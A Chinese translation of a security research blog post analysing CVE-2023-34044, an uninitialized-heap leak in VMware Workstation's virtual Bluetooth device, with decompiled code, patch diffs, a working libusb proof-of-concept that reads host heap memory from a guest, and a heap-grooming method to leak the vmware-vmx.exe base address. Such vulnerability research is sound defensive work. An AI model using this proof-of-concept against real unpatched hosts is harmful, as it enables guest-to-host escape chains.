这篇博文是关于我们在 X 上演示的 N-day全链漏洞利用中使用的漏洞的第四篇系列文章。在这篇博文中,我们将介绍如何从客户机获取主机上运行的 VMware 进程中的关键信息。
该漏洞是 Theori( @pr0ln) 发现的 CVE-2023–34044,它是 @starlabs_sg 在 Pwn2own 2023 Vancouver 中演示的 CVE-2023–20870 的变体。此漏洞已于 2023 年 10 月修补,自 2023 年 10 月以来,我们的威胁情报服务 Fermium-252 同时存在 PoC 和利用此漏洞。
请注意,大多数说明都是基于 VMware-workstation-full-17.0.2-21581411.exe
安装文件,并且大多数符号都是通过反转来识别的,因此它们可能不正确。
虚拟蓝牙设备
VMware Workstation 为客户机提供了多种方法来访问连接到主机的设备。如果主机上存在并启用了蓝牙接收器,VMware Workstation 会自动在客户机的虚拟 USB 控制器下添加基于 USB 的虚拟蓝牙设备。
与虚拟蓝牙(VBluetooth)设备功能相关的设置可以在以下 Setting - USB Controller - Share bluetooth device with the virtual machine
位置找到,并且默认情况下处于启用状态。上述设置也可以通过 vmx 在客户机的配置文件中找到。
usb.vbluetooth.startConnected = "TRUE"
如果客户机操作系统是 Linux,则可以使用以下 lsusb
命令找到 VBluetooth。
$ lsusb
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 002 Device 004: ID 0e0f:0008 VMware, Inc. Virtual Bluetooth Adapter // <--- VBluetooth
Bus 002 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB Hub
Bus 002 Device 002: ID 0e0f:0003 VMware, Inc. Virtual Mouse
Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
如果客户机操作系统是 Windows,则可以使用 pnputil
命令或设备管理器实用程序找到 VBluetooth 设备。
cmd> pnputil /enum-devices
Instance ID: USBVID_0E0F&PID_0008 00650268328
Device Description: Generic Bluetooth Adapter
Class Name: Bluetooth
Class GUID: {e0cbf06c-cd8b-4647-bb8a-263b43f0f974}
Manufacturer Name: GenericAdapter
Status: Started
Driver Name: bth.inf
漏洞 CVE-2023–34044 和 CVE-2023–20869,我们将在下一篇文章中介绍,存在于 Vbluetooth 设备实现中。
分配 VBluetooth 设备的 USB 请求块 (URB)
由于 VBluetooth 设备是作为 USB 类型设备实现和提供的,因此客户机操作系统可以使用 USB 请求块 (URB) 与其通信。URB 分为控制 URB 和批量 URB,前者用于控制设备、读/写设置,后者用于发送/接收数据,具体取决于目的。
控制 URB 具有以下结构。
struct urb_control{
BYTE bmRequestType;
BYTE bRequest;
WORD wValue;
WORD wIndex;
WORD wLength;
char data[]
}
是 bmRequestType
和 request_type
之间的 endpoint_direction
OR 运算的结果。定义 endpoint_direction
URB 是从设备读取还是写入数据, request_type
定义请求类型。例如,如果 bmRequestType
是 ENDPOINT_IN | REQUEST_TYPE_VENDOR
,则此 URB 可以读取供应商专门添加的配置数据值。
enum endpoint_direction {
ENDPOINT_IN = 0x80,
ENDPOINT_OUT = 0x00,
};
定义 bRequest
命令的类型,和 wValue
、 wIndex
和 data
用作命令的参数。
enum request_type {
REQUEST_TYPE_STANDARD =(0x00<<5),
REQUEST_TYPE_CLASS =(0x01<<5),
REQUEST_TYPE_VENDOR =(0x02<<5),
REQUEST_TYPE_RESERVED =(0x03<<5),
};
当 USB 控制器收到 URB 时,它会调用该 VUsb_NewUrb
函数来创建 vurb
类型对象。该 vurb
对象存储接收到 URB 的数据,并一直保留到在虚拟或物理 USB 设备上处理 URB 为止。由于 vurb
对象的结构可能因 USB 设备的类型而异,因此该 VUsb_NewUrb
函数在内部调用设备的new_urb处理程序来创建对象。确定分配大小的参数 length
由接收的 URB 的总大小 (urb_control(8) + wLength) 决定。
void __fastcall UHCI_UrbHandler(__int64 a1, VUsbPipe *a2){ // sub_1401F6860
// ...
length = nbytes + *(unsigned __int16 *)&urb_data.wlength;
urb = VUsb_NewUrb(v2, 0i64, (unsigned int)length);
urb->bufferLen = length;
//...
}
vurb *__fastcall VUsb_NewUrb(VUsbPipe *urbpipe, __int64 num_packets_1, __int64 length)
{ // sub_14074EA70
// ...
urb_size = length;
// ...
if ( get_dev_max_urb > 0x9000 )
max_urbsize = get_dev_max_urb;
if ( urb_size > max_urbsize )
Panic("UsbDev: URB greater than the max allowed URB size.n");
_mm_lfence();
new_urb = (vurb *)urbpipe->dev->be->op->NewUrb(urbpipe->dev, num_packets, urb_size);
new_urb->status = -1;
new_urb->packets = new_urb->_packets;
new_urb->curdata = new_urb->data;
new_urb->streamID = 0;
// ...
return new_urb;
}
VBluetooth 设备的 URB 对象的分配由函数 VBluetoothHCI_NewUrb
处理。URB 对象存储设备、管道、状态信息以及隔离的 URB 数据的地址。URB 数据被分配为名为 RBuf
的类型缓冲流。
vurb *__fastcall VBluetoothHCI_NewUrb(VUsbDevice_Bluetooth *dev, unsigned int num_pkts, unsigned int urb_size)
{ // sub_140740EA0
vurbWrapper *wrapper; // rsi
_QWORD *urbdata; // rax
wrapper = (vurbWrapper *)UtilSafeMalloc0(12i64 * num_pkts + 0xA0);// urb wrapper a2=0
wrapper->urb.be = (UrbBackEnd *)&unk_14132C238;
urbdata = VBluetoothHCI_RBufNew(dev->add.hci, urb_size);
wrapper->rbuf = (__int64)urbdata;
wrapper->urb.data = (unsigned __int8 *)RBuf_MutableData((__int64)urbdata);
return &wrapper->urb;
}
该 VBluetoothHCI_RBufNew
函数调用该 RBuf_New
函数,并在 RBuf_New
内部调用该 UtilSafeMalloc0
函数以分配大小 a2 + 0x18
为 的缓冲区。该 UtilSafeMalloc0
函数在内部调用该 malloc
函数。需要注意的是,分配的缓冲区的大小由客户机决定,分配的 malloc
缓冲区不会初始化。
RBuf *__fastcall VBluetoothHCI_RBufNew(__int64 a1, unsigned int a2)
{// sub_14081BF70
return RBuf_New(*(_DWORD **)(a1 + 616), a2);
}
RBuf *__fastcall RBuf_New(_DWORD *a1, unsigned int a2)
{// sub_1408195A0
// ...
buf = (RBuf *)UtilSafeMalloc0(a2 + 0x18i64);
buf->refcnt = 0;
*(_QWORD *)&buf->refcnt = (unsigned __int64)(a2 & 0xFFFFFF) << 16;// length
buf->field_8 = 0i64;
buf->qword10 = a1;
// ....
return buf;
}
然后,它将从访客接收的 URB 数据复制到分配 RBuf
的 .如果 URB 的方向为 ENDPOINT_IN
,则复制大小为 urb_control(8)
,则会导致大小仍未初始化的缓冲区 wLength
。
void __fastcall sub_1401F6860(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
// ...
v20 = urb->curdata;
if ( v30 == 1 )
{
memcpy(v20, Src, (int)v14); // v14 == urb_control(8)
}
else
{
_mm_lfence();
PhysMemReadSlow(&v29, 0i64, (int)v14, (char *)v20);
}
urb->curdata += (int)v14;
goto LABEL_15;
}
// ...
}
提交 VBluetooth 设备的 USB 请求块 (URB)-(CVE-2023–20870)
每个设备都有不同的提交功能,因为它们处理 URB 提交的方式不同。Vbluetooth 设备的 URB 提交由该 VBluetoothHCI_SubmitUrb
函数处理。submit 函数在内部处理 URB 或将其传递给外部设备。
urb->actualLen
初始化为 urb->bufferLen
的值 ,这是一个客户机可控值,然后将此值用作客户机的响应数据大小。在 VMware Workstation 17.0.1 之前,除了 actualLen
VUsbDevice_OpSubmitNonReqCtl
.结果, actualLen
总是等于 bufferLen
。
__int64 __fastcall VBluetoothHCI_SubmitUrb(vurb *urb)
{// sub_140740F40
pipe = urb->pipe;
bufferLen = urb->bufferLen;
// ...
urb->status = 0;
urb->actualLen = bufferLen;
endptAddr = pipe->endptAddr;
if ( endptAddr ) {/**/} // Process Non Control URB
if ( (data->bmRequestType & 0x60) == 0x20 ) // REQUEST_TYPE_CLASS
{
sub_140819580(rbuf_1);
rbuf_slice = RBuf_Slice(rbuf_1, 8u, urb->bufferLen - 8);
endpoint = 0;
LABEL_8:
rbuf = rbuf_slice;
VBluetoothHCI_PacketOut(dev_1, endpoint, rbuf_slice);
RBuf_DecRef(rbuf);
return ((__int64 (__fastcall *)(vurb *))gUsblibClientCb->vusbCompleteUrb)(urb);
}
if ( VUsbDevice_OpSubmitNonReqCtl(urb) )
return ((__int64 (__fastcall *)(vurb *))gUsblibClientCb->vusbCompleteUrb)(urb);
urb->actualLen = 8; // [1] Patch of CVE-2023-20870
if ( (data->bmRequestType & 0x60) != 0 )
goto LABEL_24;
v15 = data->bRequest; // LIBUSB_REQUEST_TYPE_STANDARD
if ( v15 == 9 )
{
if ( data->wValue <= 1u )
{
change_config((__int64)urb->pipe->dev, data->wValue);
if ( data->wValue )
VBluetoothHCI_Reset(dev_1);
return ((__int64 (__fastcall *)(_QWORD))gUsblibClientCb->vusbCompleteUrb)(urb);
}
goto LABEL_23;
}
if ( v15 != 11 )
{
LABEL_24: // LIBUSB_REQUEST_TYPE_VENDOR
urb->status = 4;
return ((__int64 (__fastcall *)(_QWORD))gUsblibClientCb->vusbCompleteUrb)(urb);
}
v16 = data->wIndex;
if ( !v16 )
{
if ( data->wValue )
urb->status = 3;
return ((__int64 (__fastcall *)(_QWORD))gUsblibClientCb->vusbCompleteUrb)(urb);
}
if ( v16 != 1 || data->wValue >= 6u )
LABEL_23:
urb->status = 3;
return ((__int64 (__fastcall *)(_QWORD))gUsblibClientCb->vusbCompleteUrb)(urb);
}
处理后的 URB 将返回给客户机并由 vusbCompleteUrb
处理程序清理。 vusbCompleteUrb
处理程序在内部调用该 UHCI_UrbResponse
函数,然后调用 PhysMem_CopyToMemory
该函数将大小 actualLen
的 urb 数据复制到客户机的物理内存中。
char __fastcall UHCI_UrbResponse(__int64 a1, vurb *a2) { // sub_1401F77A0
// ....
v11 = ((v10 >> 21) + 1) & 0x7FF;
actualLen = v11;
if ( v11 > urb->actualLen )
actualLen = urb->actualLen;
if ( actualLen )
{
if ( (_BYTE)v10 == 105 )
{
v13 = *((unsigned int *)v8 + 7);
if ( !*((_DWORD *)v8 + 7) || !PhysMem_CopyToMemory((unsigned int)v13, (char *)urb->curdata, actualLen, 0, 6) )
{
Warning("UHCI: Bad %s pointer %#I64xn", "TDBuf", v13);
*(_DWORD *)(a1 + 1640) = 160;
}
}
}
在 VMware Workstation 17.0.2
修补程序中, actualLen
未处理 vurb
的对象 VUsbDevice_OpSubmitNonReqCtl
设置为 8,以防止将未初始化的数据传递给客户机 [1]
。
CVE-2023–34044 的根本原因
有经验的安全研究人员可能对上一部分中提到的 VMware 补丁感到好奇。修复未初始化的堆 bug 的最简单方法是在分配内存后初始化内存,或者使用嵌入式 calloc 函数本身进行初始化。但是,VMware没有这样做,因此该漏洞并未完全修复。
大多数读者已经意识到了这个问题,但是让我们看看当 URB 的请求类型为 REQUEST_TYPE_CLASS
时会发生什么。它通过调用 RBuf_Slice
函数对缓冲区进行切片,并将切片缓冲区作为参数传递给 VBluetoothHCI_PacketOut
函数。请注意,URB 不会作为参数传递,这可确保它不会 actualLen
更改。
__int64 __fastcall VBluetoothHCI_SubmitUrb(vurb *urb)
{// sub_140740F40
pipe = urb->pipe;
bufferLen = urb->bufferLen;
// ...
urb->status = 0;
urb->actualLen = bufferLen;
endptAddr = pipe->endptAddr;
if ( endptAddr ) {/**/} // Process Non Control URB
if ( (data->bmRequestType & 0x60) == 0x20 ) // REQUEST_TYPE_CLASS
{
sub_140819580(rbuf_1);
rbuf_slice = RBuf_Slice(rbuf_1, 8u, urb->bufferLen - 8);
endpoint = 0;
LABEL_8:
rbuf = rbuf_slice;
VBluetoothHCI_PacketOut(dev_1, endpoint, rbuf_slice);
RBuf_DecRef(rbuf);
return ((__int64 (__fastcall *)(vurb *))gUsblibClientCb->vusbCompleteUrb)(urb);
}
if ( VUsbDevice_OpSubmitNonReqCtl(urb) )
return ((__int64 (__fastcall *)(vurb *))gUsblibClientCb->vusbCompleteUrb)(urb);
urb->actualLen = 8; // Patch of CVE-2023-20870
// ....
}
该 VBluetoothHCI_PacketOut
功能将 Control URB 传递给连接到主机的蓝牙设备。由于控件 URB 未指定特定终结点,因此它调用 VBluetoothHCI_PacketOut_Control
.该 VBluetoothHCI_PacketOut_Control
函数验证作为参数传递的切片 rbuf,如果结果 rbuf_length - 3
大于 255
,它会立即返回并发出警告。换言之,如果 的 wlength
大小大于 258
,则 URB 数据将保持未初始化状态。
void __fastcall VBluetoothHCI_PacketOut(VUsbDevice *dev, int endpoint, _QWORD *rbuf)
{// sub_14081BDA0
if ( endpoint ) {/**/}
else
{
VBluetoothHCI_PacketOut_Control((int64 *)dev, rbuf);
}
}
void __fastcall VBluetoothHCI_PacketOut_Control(VUsbDevice *dev, RBuf *rbuf)
{// sub_14081AFF0
// ....
rbuf_length = RBuf_Length(rbuf);
rbuf_length_1 = rbuf_length;
if ( rbuf_length - 3 > 255 )
{
Warning("Bluetooth-HCI: ERROR, Bad command packet size (%d)n", rbuf_length);
return;
}
// ....p
CVE-2023–34044 修补程序
以下修补程序通过 diffing VMware Workstation 17.0.2
和 VMware Workstation 17.5.0
标识。VMware 仍未消除漏洞的根本原因,而是通过在 URB 方向为 ENDPOINT_IN
且请求类型为 REQUEST_TYPE_CLASS
时将 设置为 8 来修补该 actualLen
漏洞。
__int64 __fastcall VBluetoothHCI_SubmitUrb(VUsbURB *urb) // sub_1407A22A0 of VMWS 17.5.0
{
// ...
VUsbPipe = urb->VUsbPipe;
total_urb_len = urb->total_urb_len;
v4 = urb[-1].field_88;
urb_data = (struct_urb_data *)urb->urb_data;
v6 = *(_QWORD *)(VUsbPipe + 32);
v7 = *(_QWORD *)(v6 + 608);
urb->status = 0;
urb->urb_actualsize = total_urb_len;
endpt = *(_DWORD *)(VUsbPipe + 12);
if ( endpt )
{
// ...
}
if ( (urb_data->bmRequestType & VUSB_REQ_MASK) == REQUEST_TYPE_CLASS)
{
+ if(urb_data->bmRequestType < 0 ) // ENDPOINT_IN
+ urb->actualLen = 8;
// ...
return gUsblibClientCb->VUsb_CompleteUrbAndContinue(urb);
}
if ( VUsbDevice_OpSubmitNonReqCtl((__int64)urb) )
return gUsblibClientCb->VUsb_CompleteUrbAndContinue(urb);
urb->urb_actualsize = 8;
if ( (urb_data->bmRequestType & 0x60) != 0 )
goto LABEL_24;
bRequest = urb_data->bRequest;
if ( bRequest == VUSB_REQ_SET_CONFIGURATION )
URB 数据的单元化问题已从 VMware Workstation 17.5.1 和 ESXi 8.0U2sb-23305545 中完全删除。以下补丁通过 diffing VMware Workstation 17.5.0
和 VMware Workstation 17.5.1
来标识。该补丁添加了一个函数调用,用于在控制器中分配 vurb 对象后将数据初始化为 0。
vurb *__fastcall VUsb_NewUrb(VUsbPipe *urbpipe, __int64 num_packets_1, __int64 length)
{ // sub_1407B00D0 of VWWS 17.5.0
urb = pipe->dev->be->op->NewUrb(pipe->dev, n_pakcet, bufferlen_1);
urb_data = urb->data;
urb->packets = urb->_packets;
urb->curdata = &urb_data->bmRequestType;
urb->status = -1;
urb->streamID = 0;
urb->pipe = pipe;
*&urb->numPackets = 0i64;
urb->allocLen = bufferlen_1;
*&urb->bufferLen = 0i64;
urb->stage = 0;
urb->refCount = 1;
type = pipe->type;
urb->type = type;
urb->endptAddr = pipe->endptAddr;
urb->bePtr = pipe->dev->be;
urb->_anon_0.statusPid = 0;
urb->hcpriv = 0i64;
+ if ( !type && urb_data )
+ memset(urb_data, 0, bufferlen_1);
urb->pipeLink.next = &urb->pipeLink;
编写EXP
在 POC 中,我们将演示如何从客户机读取未初始化的 URB 数据。
若要将任意 URB 发送到 USB 设备,可以编写自己的筛选器驱动程序或使用库。其中一个库包括一个签名的驱动程序和库, libusb-win32
可以轻松生成 URB 并将其发送到目标设备。
以下代码将类型 USB_TYPE_CLASS | USB_ENDPOINT_IN
为 URB 发送到 VBluetooth 设备,从而触发漏洞并读取主机的未初始化堆内存。由于 URB 数据的分配大小为 urb_control(8) + wLength + 0x18
,我们需要将 wLength
值 0xfe0
设置为以 0x1000 字节块读取未初始化的数据。请求和其他参数设置为任意值,因为它们与漏洞无关。 usb_control_msg
函数执行成功后, outbuf
将包含主机未初始化的堆数据。
#include <lusb0_usb.h>
usb_dev_handle* open_dev(WORD VID, WORD UID){
struct usb_bus* bus;
struct usb_device* dev;
for (bus = usb_get_busses(); bus; bus = bus->next){
for (dev = bus->devices; dev; dev = dev->next){
if (dev->descriptor.idVendor == VID
&& dev->descriptor.idProduct == UID){
return usb_open(dev);
}
}
}
return NULL;
}
void readUnitMemory() {
usb_dev_handle* dev_mouse = NULL;
usb_dev_handle* dev_bt = NULL;
UINT64 vmx_base = 0;
int i, j;
char outbuf[0x1000];
memset(outbuf, 0, 0x1000);
usb_init(); /* initialize the library */
usb_find_busses(); /* find all busses */
usb_find_devices(); /* find all connected devices */
if ((dev_bt = open_dev(0x0E0F, 0x0008)) == NULL){
printf(" [!] Error opening bluetooth device: n%sn", usb_strerror());
return 0;
}
usb_control_msg(
dev_bt,
USB_TYPE_CLASS | USB_ENDPOINT_IN,
USB_REQ_GET_STATUS, 0, 0,
outbuf,
0xFE0, // 0x1000 - 0x18 - 8
1000);
usb_close(dev_bt);
}
要利用此 CVE-2023-20869
漏洞,需要知道主机进程的基址。 vmware-vmx.exe
为了在进程中 vmware-vmx.exe
分配任意大小的堆内存,我们使用了 USB 虚拟鼠标设备的 URB 分配功能。
与 VBluetooth 设备的 URB 分配器不同,VUsbMouse 和 VUsbHub 的 URB 分配器不会隔离 URB 数据,而是将其存储在对象中 vurb
。该 vurb
对象包含的数据段地址为 vmware-vmx.exe
,因此如果可以从中计算出 的 vmware-vmx.exe
基址。
vurb *__fastcall VUsb_NewUrbWithBuf(__int64 a1, unsigned int a2, unsigned int legnth)
{ // sub_1407593C0
__int64 v3; // rbx
vurb *new_urb; // rax
v3 = a2;
new_urb = (vurb *)UtilSafeMalloc0(v3 * 12 + legnth + 152i64);
new_urb->be = (UrbBackEnd *)&qword_14132C3B0; // data section address
new_urb->data = (unsigned __int8 *)&new_urb->_packets[v3];
return new_urb;
}
您可以将带有 Manipulated wLength
的 URB 发送到 VUsbMouse 设备,并且在处理后,您可以创建一个释放的任意大小的堆块,其中包含 vmware-vmx.exe
的数据段地址 。如果将 VBluetooth 设备的 URB 重新分配给释放的堆块并读取该漏洞,则可以读取 vmware-vmx.exe
的地址。
结论
这篇文章提供了对 CVE-2023–34044 的分析,该分析在我们的N-day全链演示中被利用。下一篇文章将介绍 VMware Workstation 客户机到主机代码执行 CVE-2023–20869,该代码在 Pwn2Own Vancouver 2023 中被利用。
参考
https://www.zerodayinitiative.com/blog/2023/5/17/cve-2023-2086920870-exploiting-vmware-workstation-at-pwn2own-vancouver
Chaining N-days to Compromise All: Part 4 — VMware Workstation Information leakage
https://blog.theori.io/chaining-n-days-to-compromise-all-part-4-vmware-workstation-information-leakage-44476b05d410
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):将 N-day 漏洞链接以破坏所有问题:第 4 部分 — VMware Workstation 信息泄漏